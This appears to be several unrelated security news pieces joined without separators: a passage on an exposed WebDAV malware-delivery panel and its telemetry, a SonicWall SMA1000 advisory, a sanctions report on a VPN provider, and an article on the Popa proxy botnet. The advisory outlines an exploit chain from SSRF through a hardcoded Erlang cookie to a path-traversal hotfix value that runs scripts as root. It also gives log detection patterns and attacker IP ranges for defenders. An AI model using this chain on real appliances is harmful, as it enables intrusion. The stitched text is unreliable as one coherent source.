The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.
The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.
Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.
We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.
Delivery panel overview
The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.
Figure 13: Simba service page with blocking capabilities.
⠀
The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).
We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.
The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.
Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.
The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.
Country
Requests
Share of requests
Unique client IPs
Launch events
Mexico
63,622
82.5%
2,698
2,365
United States
4,032
5.2%
463
47
Germany
2,751
3.6%
59
1
United Kingdom
645
0.8%
40
0
Netherlands
532
0.7%
49
1
France
407
0.5%
21
0
Finland
401
0.5%
6
10
Brazil
343
0.4%
41
0
Republic of Korea
312
0.4%
16
1
Table 3: Geographic distribution of WebDAV delivery activity.
Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.
Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.
By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.
Protocol behavior
The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.
Method
Count
PROPFIND
57,287
GET
13,088
OPTIONS
6,597
PROPPATCH
125
LOCK
1
Table 4: HTTP methods observed in WebDAV delivery traffic.
Status
Count
207
57,412
200
19,532
206
154
Table 5: HTTP status codes observed in WebDAV delivery traffic.
More indicators of compromise can be found on Rapid7’s GitHub.
Rapid7 customers
Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.
Conclusion
The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.
The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded.
While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.
The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.
On July 14, 2026, SonicWall published a security advisory addressing two vulnerabilities affecting SMA1000 Series remote access appliances, including the critical server-side request forgery (SSRF) vulnerability CVE-2026-15409 (CVSS 10.0) and the high-severity code injection vulnerability CVE-2026-15410. The advisory urges customers to immediately apply the latest platform hotfix releases.
Successful exploitation of CVE-2026-15409 permits an unauthenticated attacker to open a websocket-based tunnel to arbitrary localhost-only services, while CVE-2026-15410 is a local privilege escalation that permits an attacker with access to an internal service listening on port 8188 on localhost to execute arbitrary operating system commands as root via a malicious path traversal-based remove_hotfix workflow.
Both vulnerabilities are being actively exploited in the wild. Prior to SonicWall’s official vulnerability disclosure, Rapid7’s Managed Detection and Response team observed active, targeted zero-day exploitation of internet-facing SMA 1000-series appliances. In the SonicWall advisory, exploitation in the wild was noted, and both CVE-2026-15409 and CVE-2026-15410 have been added to CISA's Known Exploited Vulnerabilities (KEV) catalog. Given the confirmed exploitation activity and the critical unauthenticated impact of the vulnerabilities, organizations should prioritize remediation of SMA1000 appliances on an emergency basis.
Affected products include SonicWall SMA1000 Series models 6210, 7210, and 8200v running:
12.4.3-03245
12.4.3-03387
12.4.3-03434 (platform-hotfix)
12.5.0-02283
12.5.0-02624
12.5.0-02800 (platform-hotfix)
These vulnerabilities do not affect SSL VPN functionality on SonicWall firewalls or the SMA 100 Series product line.
Technical overview
The primary vulnerability is in a websocket proxy feature, accessed via the path /wsproxy on the affected “SonicWall WorkPlace” application (served on port 443 by default). This feature permits a netcat-like TCP tunnel to arbitrary hosts and ports, which are provided by the user in URL parameters. By provided host values that point to localhost, the attacker can access local SonicWall appliance system services behind the firewall to send and receive arbitrary TCP traffic to and from them. This is the first-stage vulnerability, CVE-2026-15409, that Rapid7 MDR analysts are seeing attackers exploit in the wild. With this capability, an attacker can reach and exploit less-hardened services running on the appliance, such as the Erlang application on localhost:1050 or the ctrl-service application on localhost:8188.
We developed an exploit targeting the Erlang process listening on localhost:1050 for remote code execution. Note that the provided cookie value is hardcoded for the Erlang process, based on our testing, so authentication is not required to establish code execution.
With code execution established, the attacker can escalate to root on the appliance by exploiting CVE-2026-15410, which is a path traversal in the remove_hotfix workflow of ctrl-service. This can be performed via the web console or by hitting port 8188 on the device. The attacker provides a hotfix value containing a path traversal sequence to a malicious script, such as ../../../../var/tmp/privesc. The system executes the script as root and (typically) reboots the appliance immediately after.
An example malicious request achieving privilege escalation by leveraging this from the web panel is depicted below:
If the provided hotfix file does not exist, a reboot does not occur. If the provided file exists, the system reboots after it chmods and executes the file. Below is a system monitor (pspy) depicting output of this occurring during exploitation:
A Python proof-of-concept for CVE-2026-15409 is available here; a Metasploit module for the chain is in development.
Mitigation guidance
Organizations operating SonicWall SMA1000 appliances should immediately upgrade to the latest platform hotfix releases.
Fixed versions are:
Product
Fixed Version
SMA1000 Series (6210, 7210, 8200v)
12.4.3-03453 (platform-hotfix) or later
SMA1000 Series (6210, 7210, 8200v)
12.5.0-02835 (platform-hotfix) or later
There are no workarounds available.
Because active exploitation has been confirmed, organizations should not rely solely on patching. SonicWall additionally recommends:
Performing a thorough forensic review for indicators of compromise.
Re-imaging physical appliances or redeploying virtual appliances if compromise is identified.
Changing user and administrator passwords.
Resetting TOTP tokens following confirmed compromise.
Customers should consult the SonicWall security advisory for the latest remediation guidance and platform hotfix availability.
Observed exploitation
Prior to SonicWall’s official vulnerability disclosure, our Managed Detection and Response team observed active, targeted exploitation of internet-facing SMA 1000-series appliances. Threat actors were primarily leveraging the perimeter appliance as a stealthy initial access vector, executing commands on the operating system by bypassing traditional input validation controls. Once they established a foothold on the appliance, the actors systematically extracted high-value credentials, active session databases, and Time-Based One-Time Password (TOTP) multi-factor authentication (MFA) seed configurations. This local harvesting was designed to ensure long-term, persistent access that could survive standard network-level remediations.
With these harvested resources, the threat actors quickly shifted to lateral movement, pivoting from the compromised appliance directly into the internal corporate network. Specifically, we observed a sequence of anomalous, VPN-less Active Directory authentications targeting core domain controllers. These authentications originated directly from the appliance’s internal IP address, using atypical, non-corporate workstation client names (such as kali or other non-inventory hostnames) under the context of the appliance’s integrated LDAP service account. This unique behavior of direct, machine-level lateral movement with no corresponding active VPN tunnel confirmed that the appliance itself had been fully compromised and was acting as an unmonitored backdoor into the corporate directory infrastructure.
Artifacts or evidence sources and IOCs
Rapid7 recommends reviewing appliance logs for evidence of active exploitation, including the following characteristic behaviors and specific log indicators:
Characteristic behaviors
Websocket exploit IOC log patterns:extraweb_access.log entries containing the strings ("GET" AND "wsproxy" AND "=-3389" AND “ 101 “) indicate interactions with the niche affected service. If suspicious host parameter values such as “localhost” or “::ffff:127.0.0.1” are present, that’s indicative of likely exploitation of CVE-2026-15409. Note that “serviceType=SSH” was used in our published materials, but options such as “serviceType=TELNET” are viable alternatives.
Hotfix removal exploit IOC log patterns: The ctrl-service.log shows the hotfix-removal utility (/usr/local/bin/remove_hotfix) being invoked with traversal sequences pointing to attacker-staged shell script payloads (e.g., ../../../../../../tmp/sma1000_5c47.sh). This is indicative of successful exploitation of CVE-2026-15410.
Internet-facing probing: Enumeration of the SMA portal, including repeated requests to /auth1.html, path-traversal attempts, and generic file/enumeration requests (e.g., /.env, /api/sonicos/is-sslvpn-enabled).
Authentication activity: Authentication-API activity against /__api__/logon/<session-id>/authenticate.
Sensitive path access: Access to sensitive appliance paths such as /tmp/temp.db*, consistent with theft of stored session data.
AD/Service Account Compromise: NTLM logons (Windows Event ID 4624, logon type 3) into internal domain controllers sourced from the appliance's internal IP address, using attacker-controlled workstation names (e.g., kali) without a corresponding VPN session.
extraweb_access.log: Requests to /__api__/login or /__api__/logout returning HTTP 200, and requests to /wsproxy containing suspicious host parameters returning HTTP 101.
Configuration artifacts
/var/lib/unit/conf.json containing routes for /__api__/login or /__api__/logout, which are not present in legitimate configurations.
Atomic Indicators
F.N.S Holdings Limited (ASN - 206092): The threat actor(s) utilized varying IP addresses, but they belonged to the VPN hosting provider FNS Holdings Limited. Limit or block access to FNS Holdings Limited if there is no business need. For reference, the IP addresses we observed were:
45.131.194.0/24
45.146.54.0/24
63.135.161.0/24
173.239.211.0/24
193.37.32[.]179
193.37.32[.]214
216.73.163[.]151
216.73.163[.]158
Attacker Asset Names:
DESKTOP-KRLUI3J
DESKTOP-IC3C80F
DESKTOP-5P0TSCP
KALI
localhost
If any indicators of compromise are identified, organizations should treat the appliance as compromised and follow SonicWall’s recovery guidance.
Rapid7 customers
Organizations should prioritize identifying all internet-facing SonicWall SMA1000 appliances and determine whether affected software versions remain deployed. Given SonicWall’s and Rapid7’s confirmation of active exploitation, exposed appliances should be considered high-priority assets for remediation.
Security teams should also review available authentication, web access, and appliance management logs for the indicators published by SonicWall to determine whether follow-up incident response activities are warranted.
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers will be able to assess exposure to CVE-2026-15409 and CVE-2026-15410 with authenticated vulnerability checks available in the July 15 content release.
Updates
July 15, 2026: Initial publication.
July 16, 2026: Additional IOCs identified and blog section updated with the identified attacker asset names.
The Treasury Department is slapping sanctions on First VPN and its administrator for allegedly selling services to ransomware operators, as well as another person aiding ransomware gangs.
First VPN Services, or 1VPNS, was “deeply embedded in the cybercriminal ecosystem” and appeared in virtually every Europol investigation in recent years, the law enforcement body said after a sting targeting the service in May.
Treasury’s Office of Foreign Assets Control (OFAC) sanctioned 1VPNS as well as its alleged administrator, Ukrainian citizen Dmytro Rashevskyi, Monday in conjunction with the United Kingdom. The outfit provided anonymity services that could be legitimate in some instances, but 1VPNS advertised itself in online cybercrime forums for more than a decade, touting its refusal to cooperate with law enforcement, the office said.
“Numerous ransomware groups have purchased infrastructure from 1VPNS, which they have leveraged in attacks on U.S. companies and institutions — including to hide the origins of their attacks, deploy malware, and manage exfiltrated data,” OFAC said. “Victims of ransomware attacks that involved the use of 1VPNS infrastructure have included U.S. businesses, financial services companies, hospitals, and municipal governments.”
Treasury also sanctioned Belarus national Yegeniy Vladimirovich Silayev for allegedly selling “cryptors,” tools used to disguise ransomware and other malware, to ransomware operators.
“Unlike legitimate encryption tools, which are designed to protect data and the privacy of the people that own it, cryptors are built specifically to make malware stealthier and more effective by disguising it as harmless files,” OFAC said.
Treasury’s sanctions designations dovetail with separate, unrelated cyber sanctions that European governments from Monday. The FBI has previously issued an alert about First VPN Service.
Blockchain intelligence firm TRM Labs said it has seen 1VPNS selling its services to ransomware operators for prices ranging from $723 for Anubis to $58 Sinobi.
“The amounts are small because infrastructure subscriptions are small,” Ari Redbord, global head of policy and government affairs for the company, wrote on LinkedIn. “A named ransomware group paying a named enabler on public chains still leaves a trail investigators can follow after the fact.”
Victims tied to First VPN Service infrastructure include U.S. municipalities, hospitals and financial services companies.
Europol said it had arrested the administrator of 1VPNS in its May sting, but did not name them.
The Treasury Department did not immediately respond to a question about whether its sanctions targeted that same arrested person.
For the past four years, a sprawling Android-based botnet called Popa has forced millions of consumer TV boxes to relay Internet traffic linked to advertising fraud, account takeovers, and mass data-scraping efforts. This week, researchers from multiple security firms concluded that the Popa botnet is linked to NetNut, a “residential proxy” provider operated by the publicly-traded Israeli firm Alarum Technologies Ltd [NASDAQ: ALAR].
Malicious streaming devices sold online that enroll the user’s home Internet address in a residential proxy service. Image: HUMAN Security.
Popa is a massive botnet, but by all accounts it is unlike traditional botnets that enlist compromised systems in destructive activities, such as coordinating huge distributed denial-of-service attacks. Rather, Popa appears designed with a singular purpose: Implementing a persistent communications layer capable of registering a device, maintaining long-lived encrypted connections, and opening communication tunnels on demand.
Experts say Popa is a plugin component associated with the Vo1d botnet, a large-scale malware campaign targeting unofficial Android-based TV boxes. These devices, which are marketed under thousands of brand names and model numbers and broadly available for purchase at top e-commerce destinations, all advertise the ability to stream hundreds of subscription video services for an up front one-time fee.
But as the FBI and security industry experts have warned repeatedly, these streaming boxes typically bundle or come pre-installed with software that turns the user’s TV into a “residential proxy” — allowing anyone to route their Internet traffic through that device for as long as it remains plugged into a wall socket and connected to a local network. More concerning, some of these proxy networks do little to stop malicious customers from communicating with and even compromising systems on the local network of the unsuspecting device owner.
The first clues about Popa’s origins came in a 2025 report from the Chinese security company XLAB, which flagged at least nine domain names that were used to register and direct the activities of compromised devices. In a report released today, the security firm Qurium described how it stumbled on some of those same domains while investigating a series of disruptive and expensive data scraping events targeting the company’s hosted organizations in May 2026, in which the scraping activity was scattered evenly across more than 1.4 million Internet addresses.
Qurium said it found several dozen domains used to control Popa that were all hosted in lockstep across multiple Internet addresses over time, including gmslb[.]net, safernetwork[.]io, tera-home[.]com, and ninjatech[.]io. Digging deeper, Qurium discovered gmslb[.]net was referenced in dozens of pirated or modded video content streaming apps, such as CRICFy, DooFlix, Sprozfy, RTS Tv, Flixoid, CyberFlix, Rapid Streamz, TvMob and HD/OceanStreams.
Qurium’s report notes that most of the domains long used to control the Popa botnet were seized or dismantled in July 2025, after Google, HUMAN Security and Trend Micro teamed up to disrupt Badbox 2.0, a botnet that is closely associated with Vo1d. Qurium said that immediately after that disruption, several dozen new domains were registered to serve as controllers for the Popa botnet, but that one of those control domains was not new: ninjatech[.]io.
Ninjatech is a company founded by Moishi Kramer, whose LinkedIn profile says he is vice president of research and development at NetNut. That resume credits Kramer for helping NetNut to build from the “ground up,” “designing the architecture,” and “scaling the NetNut” before the company was acquired by Alarum Technologies. A self-created listing at the job board F6Sreferences Kramer as the sole owner of the Ninjatech domain (a screen capture of it is pictured below).
Image: F6S.com.
Responding via email, Mr. Kramer said Ninjatech ceased operations approximately five years ago, when the company sold a software development kit (SDK) called Popa that was designed to use a small portion of a device’s bandwidth and to run only after the host application obtained user consent.
“That code was sold and licensed to third parties including resellers years ago,” Kramer said. “Once software is distributed that way, the original developer has no control over how others later modify, rebrand, or deploy it.”
Kramer said neither he nor NetNut builds, operates or maintains the infrastructure being described as Popa, nor does he control the Ninjatech domain.
“I didn’t register the June 2025 domains you mention, and I don’t know who did,” he continued. “I have no control over, or visibility into, that infrastructure. I can only tell you it isn’t operated by me or by NetNut.”
But in a separate Popa research report released today, the proxy-tracking company Synthient said a recent analysis of the Popa SDK revealed outbound traffic clearly associated with NetNut.
“The research team assesses with high confidence that devices running Popa forward traffic from Netnut clients,” Synthient wrote. “This proves without a shadow of a doubt that Popa actively continues to be used by NetNut as part of their proxy pool.”
Synthient’s platform receiving outbound traffic from Popa. Image: Synthient.com.
Alarum Technologies, NetNut’s Tel Aviv-based parent company, said the reports by Synthient and Qurium contained “demonstrably inaccurate assertions and flawed deductions rather than verified facts.” Alarum shared a statement saying they reject the basic characterization of the SDKs and technologies discussed in the reports as a “botnet.”
“The SDKs at issue are designed to facilitate bandwidth-sharing functionality and do not transform user devices into malware-controlled systems or otherwise compromise the devices on which they operate,” the statement reads. “Netnut operates a commercial proxy network and maintains policies, procedures, and technological measures designed to promote lawful and responsible use of its services.”
Alarum said NetNut places “significant emphasis on appropriate notice and consent mechanisms, conducts customer due diligence, monitors for potential misuse, and takes steps intended to detect and mitigate suspicious or unauthorized activity.”
“This method of operation is supported both by internal procedures and policies, including performing KYC checks and additional due diligence of NetNut’s customers, as well as employing various technological measures, designed to assist in identifying and addressing suspected misuse of the network,” their statement continued.
However, in a report released on June 8, the proxy tracking service Spur asserted that NetNut does not require corporate verification or meaningful “know your customer” procedures before allowing customers to purchase proxy access.
“An individual can sign up, pay, and route traffic through partner address space, including space belonging to institutions whose users never opted in,” Spur wrote. “The ‘verified corporations only’ claim is simply marketing for bandwidth sellers, not an access control on who actually uses the proxies.”
“Nor is NetNut the only front door,” Spur continued. “A number of downstream white labelers and resellers repackage the same ISP proxy pool under their own brands. These outlets typically perform no KYC at all, less scrutiny than NetNut itself, who at the very least might assign an account manager to potential users. Anyone who knows where to look can buy access through a reseller with nothing more than a burner email address and $5 in crypto.”
Synthient found that although the most recent builds of Popa (as of three months ago) have added the ability to ask the user for consent before installing proxy components, not all variants or previous versions of Popa contain this functionality.
“Of the over 20 genuine Popa publishers analyzed, none of them were observed asking for user consent,” Sythient wrote.
THE PREVALENCE OF POPA
Chris Formosa is senior lead information security engineer for Black Lotus Labs, a division of the Internet backbone carrier Lumen Technologies.
“What especially makes Popa dangerous is just how widely used NetNut is for reselling and sharing,” Formosa said, explaining that many other proxy services simply resell NetNut proxies rather than building out their own far-flung proxy networks. “So these Popa IPs appear in tons of different services all over the ecosystem, which makes it one of the most problematic and dangerous proxy botnets on the market currently.”
Formosa said the Popa botnet averages between 1.5 million to 2.5 million distinct IP addresses each day, relying on between 250 and 300 Internet addresses that are used to direct its activities.
“That’s why Popa is so dangerous,” Formosa said. “It may not be the largest botnet we have seen, but it is spread all over the industry, making its power very amplified.”
Formosa said while that makes Popa one of the larger botnets out there today, its numbers pale in comparison to those previously boasted by IPIDEA, a China-based proxy provider that until recently operated a daily pool of nearly 10 million devices that they resold as proxies to anyone. In January 2026, Synthient published research showing that multiple new large DDoS botnets had grown rapidly by tunneling through IPIDEA proxies into the local networks of unsuspecting TV box owners and infecting other Android-based devices behind the user’s firewall.
IPIDEA is based largely on SDKs used to view pirated streaming content on a vast number of TV box devices, but the service’s numbers have dwindled since January, when Google and industry partners took legal action to seize domain names that IPIDEA used to control devices and proxy traffic through them.
Jérôme Meyer, a security researcher at Nokia Deepfield, said the total population of devices participating in the Popa botnet may be far higher than Lumen’s estimates. Meyer told KrebsOnSecurity that Nokia is monitoring 26 of at least 359 known relay nodes for the botnet, and estimates that each relay node handles between 35,000 and 60,000 clients simultaneously.
“On the relay node subset I am looking at (26 of them), 750,000 unique sources in 24 hours,” Meyer wrote in response to questions.
Nokia Deepfield released its own report today on RoboVPN, a VPN app tied to the Vo1d botnet’s Popa plugin that Qurium attributes to NetNut/Alarum Technologies.
THE SYMBIOSIS OF PROXIES AND DATA SCRAPING
Experts say many of the world’s largest proxy providers have updated their public-facing branding to highlight their utility for training AI platforms, implying it is a primary use case for their residential proxies. That’s because AI services tend to rely on constantly mass-scraping the Internet for new text, images and video content that can be used to train large language models (LLMs).
NetNut and other proxy services have recast themselves as critical infrastructure for the AI scraping economy. Image: Synthient.com.
“AI companies depend on web-scraped content: for pre-training, for retrieval, for agent grounding, for search,” reads a report this month from Include Security that examines the prevalence of proxy SDKs in smart TV apps. “But the modern web isn’t scrapeable from a datacenter. Cloudflare, DataDome, HUMAN, among others throttle or block requests from known cloud IPs. The workaround is residential proxies. A scraping job routed through a Comcast or T-Mobile subscriber’s connection arrives at the target site from an IP that belongs to a paying residential customer.”
This non-stop content scraping has spawned more than 70 copyright infringement lawsuits against major tech companies that have acknowledged large-scale data scraping as a major source of the “brains” behind their commercial AI offerings. Ironically, much of that scraping is being aided by proxy services that are intimately tied to unofficial Android TV boxes and associated SDKs whose stated purpose is streaming pirated content.
The scraping activity has become so aggressive that it often overwhelms the targeted websites, preventing them from being reachable by legitimate visitors. In many reported cases, nonprofit organizations, libraries and universities have complained of constantly battling to keep their services online in the face of relentless data-scraping firms hiding behind residential proxy services.
A survey conducted last year by the Confederation of Open Access Repositories (COAR) found while some content scraping bots are rather innocuous, “others are sufficiently aggressive that they are increasingly causing service disruptions in repositories and other scholarly communications infrastructures.” More than 90 percent of survey respondents indicated their repository is encountering aggressive bots, usually more than once a week, and often leading to slow downs and service outages.
“Automated web scraping is nothing new, and has been the key technology underlying search engines such as Google for over 30 years,” wroteBrendan O’Connell, platform manager at the Directory of Open Access Journals (DOAJ), a free, community-curated index of peer-reviewed academic journals. “However, the current investor-fueled AI startup craze means there are now thousands of well-funded companies developing and deploying their own scraping tools to train AI models, alongside existing major players like OpenAI and Google.”
DON’T TOUCH THAT DIAL!
Across the United States, local communities are pushing back against the proliferation of new data centers aimed primarily at improving the capabilities of AI. But security experts say the general public remains largely unaware that using one of these unsanctioned Android TV boxes means their “smart TV” is almost certainly using a significant amount of bandwidth each month to help train modern AI models.
Even households without these sketchy TV boxes can still have their smart TVs turned into residential proxy nodes, just by downloading one of thousands of apps made available on Samsung and LG smart TVs. Spur said it recently scraped the LG and Samsung app stores and found that each had approximately 3,000 apps available for download. Many of these apps are simple games or utilities that state in the fine print that the user’s Internet connection will be used to download data and that they can opt out at any time.
Spur said it found that more than 42 percent of apps available for download via the webOS operating system on LG smart TVs include SDKs that turn one’s television into an always-on residential proxy node. More than a quarter of the apps made for Samsung’s Tizen operating system had similar residential proxy components, Spur found.
Image: Spur.us.
Experts say it’s questionable whether TV apps with proxy SDKs can obtain meaningful consent from users for installing an always-on proxy connection, particularly when anyone in a household — including children — can effectively opt the family TV into a residential proxy network just by installing a simple game or app.
“Privacy-policy disclosure is the wrong control surface for a TV,” Include Security wrote. “It is hard to scroll through a legal document navigated by arrow keys on a remote, and the in-app consent dialog doesn’t convey that a paying customer is about to route their scraping traffic through the user’s home internet.”
Spur’s head of research Sean Simmons told KrebsOnSecurity that most people do not have a working mental model for what it means to sell access to their residential IP address, no matter what device they are using.
“And on a TV, the gap is even wider,” Simmons said. “A one-time prompt navigated with a remote can disappear into the setup flow, while the app keeps monetizing the connection long after anyone remembers what they accepted.”
Simmons said LG and Samsung should follow the lead of other TV platforms that have already drawn a line against residential proxy providers, pointing to policies by Amazon that prohibit apps facilitating proxy services for third parties. Likewise the TV streaming device maker Roku reportedly now bars developers from using proxy SDKs and has removed apps that bundled them.
Apps that turn one’s device into a residential proxy node are not limited to smart TVs and no-name streaming boxes, of course. As noted by the security firm Infoblox, mobile app developers can embed SDKs provided by the residential proxy networks into their products to monetize their software, allowing them to receive a small amount of money on each installation.
The result, Infoblox said, is that devices are frequently enrolled without the owner’s knowledge, typically through free applications such as VPNs, streaming apps, screensavers and “productivity” apps such as PDF viewers and break reminders.
All too often, these proxy services are beaconing out from employee devices brought into the workplace, Infoblox found. In a blog post earlier this month, Infoblox said it discovered that fully 65% of its customer base was querying one or more residential proxy related domains.
“We saw steady growth in these queries in 2025, with a 25% increase over the year to over 500 billion per month,” Infoblox wrote. “Over 90% of our pharmaceutical and food & beverage customers have queried residential proxy indicators. Perhaps even more concerning is that over 60% of government and banking customers have as well.”
Infoblox researchers Nick Sundvall and David Brunsdon warned that with residential proxies in the corporate environment, external access is granted to an organization’s IP space.
“If threat actors were to abuse the residential proxy to attack a third party, the third party’s incident response would, correctly, identify your residential proxy as the source,” they wrote. “Untangling that, by proving that you were the conduit and not the threat actor, costs time, creates legal exposure, and can damage your reputation. The stunning prevalence of these services within customer environments warrants attention from both network defenders and policy makers who should consider how the risks posed by residential proxies could be impacting their security posture.”